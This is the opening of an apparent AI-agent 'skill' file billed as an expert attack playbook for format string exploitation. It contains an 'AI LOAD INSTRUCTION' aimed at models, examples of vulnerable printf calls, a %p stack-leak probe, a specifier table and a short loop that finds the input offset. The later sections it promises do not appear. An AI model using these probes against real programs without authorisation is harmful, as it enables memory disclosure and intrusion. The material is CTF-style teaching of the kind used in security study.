format-string-exploitation

SKILL: Format String Exploitation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert format string techniques. Covers stack reading, arbitrary write via %n, GOT overwrite, __malloc_hook overwrite, pointer chain exploitation, blind format string, FORTIFY_SOURCE bypass, 64-bit null byte handling, and pwntools automation. Distilled from ctf-wiki fmtstr, CTF patterns, and real-world scenarios. Base models often miscalculate positional parameter offsets or forget 64-bit address placement after format string.

0. RELATED ROUTING

• stack-overflow-and-rop — combine format string leak with stack overflow for full exploit
• binary-protection-bypass — format string is the primary canary/PIE/ASLR leak method
• arbitrary-write-to-rce — convert format string write primitive to code execution targets
• heap-exploitation — heap address leak via format string for heap exploitation

---

1. VULNERABILITY IDENTIFICATION

Vulnerable Pattern

printf(user_input);          // VULNERABLE: user controls format string
fprintf(fp, user_input);     // VULNERABLE
sprintf(buf, user_input);    // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE

printf("%s", user_input);    // SAFE: format string is fixed

Quick Test

Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset

---

2. READING MEMORY

Stack Leak (%p)

Format	Action	Use
%p	Print next stack value as pointer	Sequential stack dump
%N$p	Print N-th parameter as pointer	Direct positional access
%N$lx	Same as %p but explicit hex (64-bit)	Portable
%N$s	Dereference N-th parameter as string pointer	Read memory at pointer value

Finding Your Input Offset

# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
#                                                           ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
    io.sendline(f'AAAA%{i}$p')
    if '0x41414141' in io.recvline():
        print(f'Offset = {i}')
        break